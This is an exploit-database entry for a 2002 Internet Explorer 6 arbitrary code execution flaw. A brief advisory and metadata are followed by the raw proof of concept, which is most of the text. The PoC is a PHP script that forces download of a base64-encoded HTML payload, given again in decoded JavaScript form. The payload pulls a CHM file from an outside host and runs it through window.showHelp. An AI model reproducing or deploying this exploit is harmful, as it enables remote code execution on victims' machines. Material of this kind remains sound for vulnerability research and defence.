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Internet Explorer
by:
SecurityFocus
7.5
CVSS
HIGH
Arbitrary Code Execution
94
CWE
Product Name: Internet Explorer
Affected Version From: Internet Explorer 6
Affected Version To: Internet Explorer 6
Patch Exists: YES
Related CWE: N/A
CPE: a:microsoft:internet_explorer:6.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

Microsoft Internet Explorer 6 Arbitrary Code Execution Vulnerability

An error has been reported in Microsoft Internet Explorer 6, which may allow malicious file attachments to execute arbitrary code in the context of the local system. HTM files are associated with Internet Explorer. It is possible for an attacker to cause Internet Explorer to force a download of a malicious HTM file. The downloaded HTM file may include malicious attacker-supplied script instructions that will be executed on the victim user's system.

Mitigation:

Users should exercise caution when downloading and executing files from untrusted sources.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5450/info

An error has been reported in Microsoft Internet Explorer 6, which may allow malicious file attachments to execute arbitrary code in the context of the local system. 

HTM files are associated with Internet Explorer. It is possible for an attacker to cause Internet Explorer to force a download of a malicious HTM file. The downloaded HTM file may include malicious attacker-supplied script instructions that will be executed on the victim user's system.

This behavior has been reported in Internet Explorer 6. Other versions of Internet Explorer may share this vulnerability, this has not however been confirmed.

<?
function malware()
{
header("Content-type: text/html");
header("Content-Disposition: attachment");
echo base64_decode(
'PGltZyBkeW5zcmM9Imh0dHA6Ly93d3cubWFsd2FyZS5jb20vbW'.
'Fsd2FyZS9tYWx3YXJlLmNobSIgd2lkdGg9MSBoZWlnaHQ9MT4N'.
'Cg0KPFNDUklQVD4NCg0KLy8gNy4wMi4wMiBodHRwOi8vd3d3Lm'.
'1hbHdhcmUuY29tDQoNCi8vIHlvdSBtYXkgY29uc2lkZXIgd3Jp'.
'dGluZyBzZXZlcmFsIGxpbmVzDQovLyBpbiBjYXNlIG1hbHdhcm'.
'UuY2htIGFycml2ZXMgYXMgWzFdIG9yIFsyXSBldGMNCg0KZnVu'.
'Y3Rpb24gbWFsd2FyZSgpDQp7DQpzPWRvY3VtZW50LlVSTDsNCn'.
'BhdGg9cy5zdWJzdHIoLTAscy5sYXN0SW5kZXhPZigiXFwiKSk7'.
'DQpwYXRoPXVuZXNjYXBlKHBhdGgpOw0KZG9jdW1lbnQud3JpdG'.
'UoJzxGT1JNIG5hbWU9Im1hbHdhcmUiIEFDVElPTj0iamF2YXNj'.
'cmlwdDp3aW5kb3cuc2hvd0hlbHAoZG9jdW1lbnQuZm9ybXNbMF'.
'0uZWxlbWVudHNbMF0udmFsdWUpIj4nKTsNCmRvY3VtZW50Lndy'.
'aXRlKCc8Zm9ybT48aW5wdXQgdHlwZT0iaGlkZGVuIiAgc2l6ZT'.
'0iNDAiIG1heGxlbmd0aD0iODAiIHZhbHVlPSInK3BhdGgrJ1xc'.
'bWFsd2FyZVsxXS5jaG0iPjwvZm9ybT4nKTsNCnNldFRpbWVvdX'.
'QoJ2RvY3VtZW50Lm1hbHdhcmUuc3VibWl0KCknLDEwMDAwKTsN'.
'CiB9IA0Kc2V0VGltZW91dCgibWFsd2FyZSgpIiwyNTAwKTsgIA'.
'0KPC9TQ1JJUFQ+DQogDQoNCg=='.'');}
{ malware(); }
PHP ?>

<iframe src=<? echo $PHP_SELF ?> width=1 height=1>

<SCRIPT>

// 7.02.02 http://www.malware.com

function malware()
{
s=document.URL;
path=s.substr(-0,s.lastIndexOf(""));
path=unescape(path);
document.write('<FORM name="malware"
ACTION="javascript:window.showHelp(document.forms[0].elements
[0].value)">');
document.write('<form><input type="hidden" size="40" maxlength="80"
value="'+path+'malware[1].chm"></form>');
setTimeout('document.malware.submit()',10000);
}
setTimeout("malware()",2500);
</SCRIPT>